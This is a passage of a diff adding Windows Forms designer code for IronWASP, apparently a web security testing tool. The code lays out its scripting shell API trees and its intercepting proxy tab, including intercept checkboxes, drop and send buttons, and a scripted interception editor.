this.ScriptingShellPythonAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.ScriptingShellPythonAPITree_AfterSelect); + // + // ScriptingShellAPITreeRubyTab + // + this.ScriptingShellAPITreeRubyTab.Controls.Add(this.ScriptingShellRubyAPITree); + this.ScriptingShellAPITreeRubyTab.Location = new System.Drawing.Point(4, 22); + this.ScriptingShellAPITreeRubyTab.Margin = new System.Windows.Forms.Padding(0); + this.ScriptingShellAPITreeRubyTab.Name = "ScriptingShellAPITreeRubyTab"; + this.ScriptingShellAPITreeRubyTab.Size = new System.Drawing.Size(162, 186); + this.ScriptingShellAPITreeRubyTab.TabIndex = 1; + this.ScriptingShellAPITreeRubyTab.Text = "Ruby"; + this.ScriptingShellAPITreeRubyTab.UseVisualStyleBackColor = true; + // + // ScriptingShellRubyAPITree + // + this.ScriptingShellRubyAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScriptingShellRubyAPITree.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptingShellRubyAPITree.Location = new System.Drawing.Point(0, 0); + this.ScriptingShellRubyAPITree.Margin = new System.Windows.Forms.Padding(0); + this.ScriptingShellRubyAPITree.Name = "ScriptingShellRubyAPITree"; + this.ScriptingShellRubyAPITree.Size = new System.Drawing.Size(162, 186); + this.ScriptingShellRubyAPITree.TabIndex = 1; + this.ScriptingShellRubyAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.ScriptingShellRubyAPITree_AfterSelect); + // + // ShellAPIDetailsRTB + // + this.ShellAPIDetailsRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ShellAPIDetailsRTB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ShellAPIDetailsRTB.Location = new System.Drawing.Point(0, 0); + this.ShellAPIDetailsRTB.Margin = new System.Windows.Forms.Padding(0); + this.ShellAPIDetailsRTB.Name = "ShellAPIDetailsRTB"; + this.ShellAPIDetailsRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; + this.ShellAPIDetailsRTB.Size = new System.Drawing.Size(170, 297); + this.ShellAPIDetailsRTB.TabIndex = 0; + this.ShellAPIDetailsRTB.Text = ""; + // + // mt_proxy + // + this.mt_proxy.Controls.Add(this.ProxyBaseSplit); + this.mt_proxy.Location = new System.Drawing.Point(4, 22); + this.mt_proxy.Margin = new System.Windows.Forms.Padding(0); + this.mt_proxy.Name = "mt_proxy"; + this.mt_proxy.Size = new System.Drawing.Size(705, 511); + this.mt_proxy.TabIndex = 1; + this.mt_proxy.Text = " Proxy "; + this.mt_proxy.UseVisualStyleBackColor = true; + // + // ProxyBaseSplit + // + this.ProxyBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ProxyBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.ProxyBaseSplit.IsSplitterFixed = true; + this.ProxyBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ProxyBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.ProxyBaseSplit.Name = "ProxyBaseSplit"; + this.ProxyBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ProxyBaseSplit.Panel1 + // + this.ProxyBaseSplit.Panel1.BackColor = System.Drawing.Color.White; + this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyOpenBrowserLL); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyLoopbackLbl); + this.ProxyBaseSplit.Panel1.Controls.Add(this.label33); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyPortLbl); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ViewProxyInterceptionConfigLink); + this.ProxyBaseSplit.Panel1.Controls.Add(this.label3); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyExceptionTB); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ConfigSetAsSystemProxyCB); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyOptionsBtn); + this.ProxyBaseSplit.Panel1.Controls.Add(this.InterceptRequestCB); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyDropBtn); + this.ProxyBaseSplit.Panel1.Controls.Add(this.InterceptResponseCB); + this.ProxyBaseSplit.Panel1.Controls.Add(this.label7); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ViewProxyLogLink); + this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxySendBtn); + // + // ProxyBaseSplit.Panel2 + // + this.ProxyBaseSplit.Panel2.Controls.Add(this.ProxyBottomPanel); + this.ProxyBaseSplit.Size = new System.Drawing.Size(705, 511); + this.ProxyBaseSplit.SplitterDistance = 80; + this.ProxyBaseSplit.SplitterWidth = 2; + this.ProxyBaseSplit.TabIndex = 19; + // + // ProxyOpenBrowserLL + // + this.ProxyOpenBrowserLL.AutoSize = true; + this.ProxyOpenBrowserLL.Location = new System.Drawing.Point(374, 27); + this.ProxyOpenBrowserLL.Name = "ProxyOpenBrowserLL"; + this.ProxyOpenBrowserLL.Size = new System.Drawing.Size(137, 13); + this.ProxyOpenBrowserLL.TabIndex = 22; + this.ProxyOpenBrowserLL.TabStop = true; + this.ProxyOpenBrowserLL.Text = "Open Browser for this Proxy"; + this.ProxyOpenBrowserLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ProxyOpenBrowserLL_LinkClicked); + // + // ProxyLoopbackLbl + // + this.ProxyLoopbackLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ProxyLoopbackLbl.AutoSize = true; + this.ProxyLoopbackLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ProxyLoopbackLbl.ForeColor = System.Drawing.Color.SteelBlue; + this.ProxyLoopbackLbl.Location = new System.Drawing.Point(667, 25); + this.ProxyLoopbackLbl.Name = "ProxyLoopbackLbl"; + this.ProxyLoopbackLbl.Size = new System.Drawing.Size(23, 13); + this.ProxyLoopbackLbl.TabIndex = 21; + this.ProxyLoopbackLbl.Text = "No"; + // + // label33 + // + this.label33.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label33.AutoSize = true; + this.label33.Location = new System.Drawing.Point(511, 23); + this.label33.Name = "label33"; + this.label33.Size = new System.Drawing.Size(154, 13); + this.label33.TabIndex = 20; + this.label33.Text = "Accepting remote connections:"; + // + // ProxyPortLbl + // + this.ProxyPortLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ProxyPortLbl.AutoSize = true; + this.ProxyPortLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ProxyPortLbl.ForeColor = System.Drawing.Color.SteelBlue; + this.ProxyPortLbl.Location = new System.Drawing.Point(631, 8); + this.ProxyPortLbl.Name = "ProxyPortLbl"; + this.ProxyPortLbl.Size = new System.Drawing.Size(31, 13); + this.ProxyPortLbl.TabIndex = 19; + this.ProxyPortLbl.Text = " "; + // + // ViewProxyInterceptionConfigLink + // + this.ViewProxyInterceptionConfigLink.AutoSize = true; + this.ViewProxyInterceptionConfigLink.Location = new System.Drawing.Point(490, 63); + this.ViewProxyInterceptionConfigLink.Name = "ViewProxyInterceptionConfigLink"; + this.ViewProxyInterceptionConfigLink.Size = new System.Drawing.Size(53, 13); + this.ViewProxyInterceptionConfigLink.TabIndex = 18; + this.ViewProxyInterceptionConfigLink.TabStop = true; + this.ViewProxyInterceptionConfigLink.Text = "click here"; + this.ViewProxyInterceptionConfigLink.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ViewProxyInterceptionConfigLink_LinkClicked); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.ForeColor = System.Drawing.Color.Gray; + this.label3.Location = new System.Drawing.Point(7, 63); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(483, 13); + this.label3.TabIndex = 17; + this.label3.Text = "Requests/Responses that don\'t match the interception filter will not be intercept" + + "ed. To adjust the filter"; + // + // ProxyExceptionTB + // + this.ProxyExceptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ProxyExceptionTB.BackColor = System.Drawing.SystemColors.Window; + this.ProxyExceptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ProxyExceptionTB.ForeColor = System.Drawing.Color.Red; + this.ProxyExceptionTB.Location = new System.Drawing.Point(10, 45); + this.ProxyExceptionTB.Name = "ProxyExceptionTB"; + this.ProxyExceptionTB.ReadOnly = true; + this.ProxyExceptionTB.Size = new System.Drawing.Size(480, 13); + this.ProxyExceptionTB.TabIndex = 12; + this.ProxyExceptionTB.Visible = false; + // + // ConfigSetAsSystemProxyCB + // + this.ConfigSetAsSystemProxyCB.AutoSize = true; + this.ConfigSetAsSystemProxyCB.BackColor = System.Drawing.Color.Orange; + this.ConfigSetAsSystemProxyCB.Enabled = false; + this.ConfigSetAsSystemProxyCB.Location = new System.Drawing.Point(383, 7); + this.ConfigSetAsSystemProxyCB.Name = "ConfigSetAsSystemProxyCB"; + this.ConfigSetAsSystemProxyCB.Size = new System.Drawing.Size(122, 17); + this.ConfigSetAsSystemProxyCB.TabIndex = 5; + this.ConfigSetAsSystemProxyCB.Text = "Set as System Proxy"; + this.ConfigSetAsSystemProxyCB.UseVisualStyleBackColor = false; + this.ConfigSetAsSystemProxyCB.Click += new System.EventHandler(this.ConfigSetAsSystemProxyCB_Click); + // + // ProxyOptionsBtn + // + this.ProxyOptionsBtn.ContextMenuStrip = this.LogMenu; + this.ProxyOptionsBtn.Location = new System.Drawing.Point(324, 21); + this.ProxyOptionsBtn.Name = "ProxyOptionsBtn"; + this.ProxyOptionsBtn.Size = new System.Drawing.Size(47, 19); + this.ProxyOptionsBtn.TabIndex = 16; + this.ProxyOptionsBtn.Text = "\\/"; + this.ProxyOptionsBtn.UseVisualStyleBackColor = true; + this.ProxyOptionsBtn.Click += new System.EventHandler(this.ProxyOptionsBtn_Click); + // + // InterceptRequestCB + // + this.InterceptRequestCB.AutoSize = true; + this.InterceptRequestCB.Location = new System.Drawing.Point(193, 4); + this.InterceptRequestCB.MaximumSize = new System.Drawing.Size(125, 17); + this.InterceptRequestCB.Name = "InterceptRequestCB"; + this.InterceptRequestCB.Size = new System.Drawing.Size(116, 17); + this.InterceptRequestCB.TabIndex = 6; + this.InterceptRequestCB.Text = "Intercept Requests"; + this.InterceptRequestCB.UseVisualStyleBackColor = true; + this.InterceptRequestCB.CheckedChanged += new System.EventHandler(this.InterceptRequestCB_CheckedChanged); + // + // ProxyDropBtn + // + this.ProxyDropBtn.Enabled = false; + this.ProxyDropBtn.Location = new System.Drawing.Point(100, 10); + this.ProxyDropBtn.MaximumSize = new System.Drawing.Size(80, 22); + this.ProxyDropBtn.Name = "ProxyDropBtn"; + this.ProxyDropBtn.Size = new System.Drawing.Size(80, 22); + this.ProxyDropBtn.TabIndex = 3; + this.ProxyDropBtn.Text = "Drop"; + this.ProxyDropBtn.UseVisualStyleBackColor = true; + this.ProxyDropBtn.Click += new System.EventHandler(this.ProxyDropBtn_Click); + // + // InterceptResponseCB + // + this.InterceptResponseCB.AutoSize = true; + this.InterceptResponseCB.Location = new System.Drawing.Point(193, 22); + this.InterceptResponseCB.MaximumSize = new System.Drawing.Size(125, 17); + this.InterceptResponseCB.Name = "InterceptResponseCB"; + this.InterceptResponseCB.Size = new System.Drawing.Size(124, 17); + this.InterceptResponseCB.TabIndex = 7; + this.InterceptResponseCB.Text = "Intercept Responses"; + this.InterceptResponseCB.UseVisualStyleBackColor = true; + this.InterceptResponseCB.CheckedChanged += new System.EventHandler(this.InterceptResponseCB_CheckedChanged); + // + // label7 + // + this.label7.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label7.AutoSize = true; + this.label7.Location = new System.Drawing.Point(511, 7); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(111, 13); + this.label7.TabIndex = 3; + this.label7.Text = "Proxy running on Port:"; + // + // ViewProxyLogLink + // + this.ViewProxyLogLink.AutoSize = true; + this.ViewProxyLogLink.Location = new System.Drawing.Point(321, 5); + this.ViewProxyLogLink.Name = "ViewProxyLogLink"; + this.ViewProxyLogLink.Size = new System.Drawing.Size(56, 13); + this.ViewProxyLogLink.TabIndex = 13; + this.ViewProxyLogLink.TabStop = true; + this.ViewProxyLogLink.Text = "View Logs"; + this.ViewProxyLogLink.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ViewProxyLogLink_LinkClicked); + // + // ProxySendBtn + // + this.ProxySendBtn.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left))); + this.ProxySendBtn.AutoSize = true; + this.ProxySendBtn.Enabled = false; + this.ProxySendBtn.Location = new System.Drawing.Point(7, 10); + this.ProxySendBtn.MaximumSize = new System.Drawing.Size(80, 22); + this.ProxySendBtn.MinimumSize = new System.Drawing.Size(68, 22); + this.ProxySendBtn.Name = "ProxySendBtn"; + this.ProxySendBtn.Size = new System.Drawing.Size(80, 22); + this.ProxySendBtn.TabIndex = 2; + this.ProxySendBtn.Text = "Send"; + this.ProxySendBtn.UseVisualStyleBackColor = true; + this.ProxySendBtn.Click += new System.EventHandler(this.ProxySendBtn_Click); + // + // ProxyBottomPanel + // + this.ProxyBottomPanel.Controls.Add(this.ProxyInterceptTabs); + this.ProxyBottomPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.ProxyBottomPanel.Location = new System.Drawing.Point(0, 0); + this.ProxyBottomPanel.Margin = new System.Windows.Forms.Padding(0); + this.ProxyBottomPanel.Name = "ProxyBottomPanel"; + this.ProxyBottomPanel.Size = new System.Drawing.Size(705, 429); + this.ProxyBottomPanel.TabIndex = 18; + // + // ProxyInterceptTabs + // + this.ProxyInterceptTabs.Controls.Add(this.ProxyInterceptRequestTab); + this.ProxyInterceptTabs.Controls.Add(this.ProxyInterceptResponseTab); + this.ProxyInterceptTabs.Controls.Add(this.ProxyScriptedInterceptTab); + this.ProxyInterceptTabs.Controls.Add(this.ProxyHelpTab); + this.ProxyInterceptTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ProxyInterceptTabs.Location = new System.Drawing.Point(0, 0); + this.ProxyInterceptTabs.Margin = new System.Windows.Forms.Padding(0); + this.ProxyInterceptTabs.Name = "ProxyInterceptTabs"; + this.ProxyInterceptTabs.Padding = new System.Drawing.Point(0, 0); + this.ProxyInterceptTabs.SelectedIndex = 0; + this.ProxyInterceptTabs.Size = new System.Drawing.Size(705, 429); + this.ProxyInterceptTabs.TabIndex = 1; + this.ProxyInterceptTabs.SelectedIndexChanged += new System.EventHandler(this.ProxyInterceptTabs_SelectedIndexChanged); + this.ProxyInterceptTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ProxyInterceptTabs_Deselecting); + // + // ProxyInterceptRequestTab + // + this.ProxyInterceptRequestTab.Controls.Add(this.ProxyRequestView); + this.ProxyInterceptRequestTab.Location = new System.Drawing.Point(4, 22); + this.ProxyInterceptRequestTab.Margin = new System.Windows.Forms.Padding(0); + this.ProxyInterceptRequestTab.Name = "ProxyInterceptRequestTab"; + this.ProxyInterceptRequestTab.Size = new System.Drawing.Size(697, 403); + this.ProxyInterceptRequestTab.TabIndex = 0; + this.ProxyInterceptRequestTab.Text = " Request "; + this.ProxyInterceptRequestTab.UseVisualStyleBackColor = true; + // + // ProxyRequestView + // + this.ProxyRequestView.BackColor = System.Drawing.Color.White; + this.ProxyRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ProxyRequestView.Location = new System.Drawing.Point(0, 0); + this.ProxyRequestView.Margin = new System.Windows.Forms.Padding(0); + this.ProxyRequestView.Name = "ProxyRequestView"; + this.ProxyRequestView.ReadOnly = true; + this.ProxyRequestView.Size = new System.Drawing.Size(697, 403); + this.ProxyRequestView.TabIndex = 0; + this.ProxyRequestView.RequestChanged += new IronWASP.RequestView.RequestChangedEvent(this.ProxyRequestView_RequestChanged); + // + // ProxyInterceptResponseTab + // + this.ProxyInterceptResponseTab.Controls.Add(this.ProxyResponseView); + this.ProxyInterceptResponseTab.Location = new System.Drawing.Point(4, 22); + this.ProxyInterceptResponseTab.Margin = new System.Windows.Forms.Padding(0); + this.ProxyInterceptResponseTab.Name = "ProxyInterceptResponseTab"; + this.ProxyInterceptResponseTab.Size = new System.Drawing.Size(697, 403); + this.ProxyInterceptResponseTab.TabIndex = 1; + this.ProxyInterceptResponseTab.Text = " Response "; + this.ProxyInterceptResponseTab.UseVisualStyleBackColor = true; + // + // ProxyResponseView + // + this.ProxyResponseView.BackColor = System.Drawing.Color.White; + this.ProxyResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.ProxyResponseView.IncludeReflectionTab = false; + this.ProxyResponseView.Location = new System.Drawing.Point(0, 0); + this.ProxyResponseView.Margin = new System.Windows.Forms.Padding(0); + this.ProxyResponseView.Name = "ProxyResponseView"; + this.ProxyResponseView.ReadOnly = true; + this.ProxyResponseView.Size = new System.Drawing.Size(697, 403); + this.ProxyResponseView.TabIndex = 0; + this.ProxyResponseView.ResponseChanged += new IronWASP.ResponseView.ResponseChangedEvent(this.ProxyResponseView_ResponseChanged); + // + // ProxyScriptedInterceptTab + // + this.ProxyScriptedInterceptTab.Controls.Add(this.ScriptedInterceptionBaseSplit); + this.ProxyScriptedInterceptTab.Location = new System.Drawing.Point(4, 22); + this.ProxyScriptedInterceptTab.Name = "ProxyScriptedInterceptTab"; + this.ProxyScriptedInterceptTab.Size = new System.Drawing.Size(697, 403); + this.ProxyScriptedInterceptTab.TabIndex = 2; + this.ProxyScriptedInterceptTab.Text = " Scripted Interception "; + this.ProxyScriptedInterceptTab.UseVisualStyleBackColor = true; + // + // ScriptedInterceptionBaseSplit + // + this.ScriptedInterceptionBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptedInterceptionBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.ScriptedInterceptionBaseSplit.IsSplitterFixed = true; + this.ScriptedInterceptionBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ScriptedInterceptionBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScriptedInterceptionBaseSplit.Name = "ScriptedInterceptionBaseSplit"; + this.ScriptedInterceptionBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ScriptedInterceptionBaseSplit.Panel1 + // + this.ScriptedInterceptionBaseSplit.Panel1.BackColor = System.Drawing.Color.White; + this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.panel5); + this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ShowScriptedInterceptionTemplateLL); + this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ScriptedInterceptionScriptTopRTB); + this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ScriptedInterceptionActivateScriptCB); + this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ScriptedInterceptionPythonRB); + this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ScriptedInterceptionRubyRB); + this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.label42); + // + // ScriptedInterceptionBaseSplit.Panel2 + // + this.ScriptedInterceptionBaseSplit.Panel2.Controls.Add(this.ScriptedInterceptionBottomSplit); + this.ScriptedInterceptionBaseSplit.Size = new System.Drawing.Size(697, 403); + this.ScriptedInterceptionBaseSplit.SplitterDistance = 130; + this.ScriptedInterceptionBaseSplit.SplitterWidth = 2; + this.ScriptedInterceptionBaseSplit.TabIndex = 25; + this.ScriptedInterceptionBaseSplit.Visible = false; + // + // panel5 + // + this.panel5.BackColor = System.Drawing.Color.LightSkyBlue; + this.panel5.Controls.Add(this.textBox6); + this.panel5.Dock = System.Windows.Forms.DockStyle.Top; + this.panel5.Location = new System.Drawing.Point(0, 0); + this.panel5.Margin = new System.Windows.Forms.Padding(0); + this.panel5.Name = "panel5"; + this.panel5.Size = new System.Drawing.Size(697, 64); + this.panel5.TabIndex = 22; + // + // textBox6 + // + this.textBox6.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox6.BackColor = System.Drawing.Color.LightSkyBlue; + this.textBox6.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox6.Location = new System.Drawing.Point(8, 4); + this.textBox6.Margin = new System.Windows.Forms.Padding(0); + this.textBox6.Multiline = true; + this.textBox6.Name = "textBox6"; + this.textBox6.ReadOnly = true; + this.textBox6.Size = new System.Drawing.Size(680, 55); + this.textBox6.TabIndex = 9; + this.textBox6.TabStop = false; + this.textBox6.Text = resources.GetString("textBox6.Text"); + // + // ShowScriptedInterceptionTemplateLL + // + this.ShowScriptedInterceptionTemplateLL.AutoSize = true; + this.ShowScriptedInterceptionTemplateLL.Location = new System.Drawing.Point(208, 70); + this.ShowScriptedInterceptionTemplateLL.Name = "ShowScriptedInterceptionTemplateLL"; + this.ShowScriptedInterceptionTemplateLL.Size = new System.Drawing.Size(134, 13); + this.ShowScriptedInterceptionTemplateLL.TabIndex = 21; + this.ShowScriptedInterceptionTemplateLL.TabStop = true; + this.ShowScriptedInterceptionTemplateLL.Text = "Show sample Python script"; + this.ShowScriptedInterceptionTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ShowScriptedInterceptionTemplateLL_LinkClicked); + // + // ScriptedInterceptionScriptTopRTB + // + this.ScriptedInterceptionScriptTopRTB.BackColor = System.Drawing.SystemColors.Window; + this.ScriptedInterceptionScriptTopRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScriptedInterceptionScriptTopRTB.Dock = System.Windows.Forms.DockStyle.Bottom; + this.ScriptedInterceptionScriptTopRTB.Location = new System.Drawing.Point(0, 110); + this.ScriptedInterceptionScriptTopRTB.Margin = new System.Windows.Forms.Padding(0); + this.ScriptedInterceptionScriptTopRTB.Name = "ScriptedInterceptionScriptTopRTB"; + this.ScriptedInterceptionScriptTopRTB.ReadOnly = true; + this.ScriptedInterceptionScriptTopRTB.Size = new System.Drawing.Size(697, 20); + this.ScriptedInterceptionScriptTopRTB.TabIndex = 24; + this.ScriptedInterceptionScriptTopRTB.Text = "def ShouldIntercept(sess):"; + // + // ScriptedInterceptionActivateScriptCB + // + this.ScriptedInterceptionActivateScriptCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ScriptedInterceptionActivateScriptCB.AutoSize = true; + this.ScriptedInterceptionActivateScriptCB.Location = new System.Drawing.Point(462, 70); + this.ScriptedInterceptionActivateScriptCB.Name = "ScriptedInterceptionActivateScriptCB"; + this.ScriptedInterceptionActivateScriptCB.Size = new System.Drawing.Size(230, 17); + this.ScriptedInterceptionActivateScriptCB.TabIndex = 20; + this.ScriptedInterceptionActivateScriptCB.Text = "Activate this Script for Scripted Interception"; + this.ScriptedInterceptionActivateScriptCB.UseVisualStyleBackColor = true; + this.ScriptedInterceptionActivateScriptCB.CheckedChanged += new System.EventHandler(this.ScriptedInterceptionActivateScriptCB_CheckedChanged); + // + // ScriptedInterceptionPythonRB + // + this.ScriptedInterceptionPythonRB.AutoSize = true; + this.ScriptedInterceptionPythonRB.Checked = true; + this.ScriptedInterceptionPythonRB.Location = new System.Drawing.Point(71, 67); + this.ScriptedInterceptionPythonRB.Name = "ScriptedInterceptionPythonRB"; + this.ScriptedInterceptionPythonRB.Size = new System.Drawing.Size(58, 17); + this.ScriptedInterceptionPythonRB.TabIndex = 17; + this.ScriptedInterceptionPythonRB.TabStop = true; + this.ScriptedInterceptionPythonRB.Text = "Python"; + this.ScriptedInterceptionPythonRB.UseVisualStyleBackColor = true; + this.ScriptedInterceptionPythonRB.CheckedChanged += new System.EventHandler(this.ScriptedInterceptionPythonRB_CheckedChanged); + // + // ScriptedInterceptionRubyRB + // + this.ScriptedInterceptionRubyRB.AutoSize = true; + this.ScriptedInterceptionRubyRB.Location = new System.Drawing.Point(132, 67); + this.ScriptedInterceptionRubyRB.Name = "ScriptedInterceptionRubyRB"; + this.ScriptedInterceptionRubyRB.Size = new System.Drawing.Size(50, 17); + this.ScriptedInterceptionRubyRB.TabIndex = 18; + this.ScriptedInterceptionRubyRB.Text = "Ruby"; + this.ScriptedInterceptionRubyRB.UseVisualStyleBackColor = true; + this.ScriptedInterceptionRubyRB.CheckedChanged += new System.EventHandler(this.ScriptedInterceptionRubyRB_CheckedChanged); + // + // label42 + // + this.label42.AutoSize = true; + this.label42.Location = new System.Drawing.Point(7, 69); + this.label42.Name = "label42"; + this.label42.Size = new System.Drawing.Size(58, 13); + this.label42.TabIndex = 16; + this.label42.Text = "Language:"; + // + // ScriptedInterceptionBottomSplit + // + this.ScriptedInterceptionBottomSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptedInterceptionBottomSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.ScriptedInterceptionBottomSplit.IsSplitterFixed = true; + this.ScriptedInterceptionBottomSplit.Location = new System.Drawing.Point(0, 0); + this.ScriptedInterceptionBottomSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScriptedInterceptionBottomSplit.Name = "ScriptedInterceptionBottomSplit"; + this.ScriptedInterceptionBottomSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ScriptedInterceptionBottomSplit.Panel1 + // + this.ScriptedInterceptionBottomSplit.Panel1.Controls.Add(this.ScriptedInterceptionCTB); + // + // ScriptedInterceptionBottomSplit.Panel2 + // + this.ScriptedInterceptionBottomSplit.Panel2.Controls.Add(this.ScriptedInterceptionScriptBottomRTB); + this.ScriptedInterceptionBottomSplit.Panel2.Controls.Add(this.ScriptedInterceptionErrorTB); + this.ScriptedInterceptionBottomSplit.Size = new System.Drawing.Size(697, 271); + this.ScriptedInterceptionBottomSplit.SplitterDistance = 209; + this.ScriptedInterceptionBottomSplit.SplitterWidth = 2; + this.ScriptedInterceptionBottomSplit.TabIndex = 24; + // + // ScriptedInterceptionCTB + // + this.ScriptedInterceptionCTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScriptedInterceptionCTB.LangCode = 1; + this.ScriptedInterceptionCTB.Location = new System.Drawing.Point(0, 0); + this.ScriptedInterceptionCTB.Margin = new System.Windows.Forms.Padding(0); + this.ScriptedInterceptionCTB.Name = "ScriptedInterceptionCTB"; + this.ScriptedInterceptionCTB.ReadOnly = false; + this.ScriptedInterceptionCTB.ShowLineNumbers = false; + this.ScriptedInterceptionCTB.ShowSpacesAndTabs = false; + this.ScriptedInterceptionCTB.Size = new System.Drawing.Size(697, 209); + this.ScriptedInterceptionCTB.TabIndex = 23; + this.ScriptedInterceptionCTB.ValueChanged += new IronWASP.CodeTextBox.ValueChangedEvent(this.ScriptedInterceptionCTB_ValueChanged); + // + // ScriptedInterceptionScriptBottomRTB + // + this.ScriptedInterceptionScriptBottomRTB.BackColor = System.Drawing.SystemColors.Window; + this.ScriptedInterceptionScriptBottomRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScriptedInterceptionScriptBottomRTB.Dock = System.Windows.Forms.DockStyle.Top; + this.ScriptedInterceptionScriptBottomRTB.Location = new System.Drawing.Point(0, 0); + this.ScriptedInterceptionScriptBottomRTB.Margin = new System.Windows.Forms.Padding(0); + this.ScriptedInterceptionScriptBottomRTB.Name = "ScriptedInterceptionScriptBottomRTB"; + this.ScriptedInterceptionScriptBottomRTB.ReadOnly = true; + this.ScriptedInterceptionScriptBottomRTB.Size = new System.Drawing.Size(697, 35); + this.ScriptedInterceptionScriptBottomRTB.TabIndex = 19; + this.ScriptedInterceptionScriptBottomRTB.Text = " return False"; + // + // ScriptedInterceptionErrorTB + // + this.ScriptedInterceptionErrorTB.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(128))))); + this.ScriptedInterceptionErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ScriptedInterceptionErrorTB.Dock = System.Windows.Forms.DockStyle.Bottom; + this.ScriptedInterceptionErrorTB.Location = new System.Drawing.Point(0, 6); + this.ScriptedInterceptionErrorTB.Margin = new System.Windows.Forms.Padding(0); + this.ScriptedInterceptionErrorTB.Multiline = true; + this.ScriptedInterceptionErrorTB.Name = "ScriptedInterceptionErrorTB"; + this.ScriptedInterceptionErrorTB.ReadOnly = true; + this.ScriptedInterceptionErrorTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.ScriptedInterceptionErrorTB.Size = new System.Drawing.Size(697, 54); + this.ScriptedInterceptionErrorTB.TabIndex = 22; + this.ScriptedInterceptionErrorTB.Visible = false; + // + // ProxyHelpTab + // + this.ProxyHelpTab.Controls.Add(this.ProxyHelpTB); + this.ProxyHelpTab.Location = new System.Drawing.Point(4, 22); + 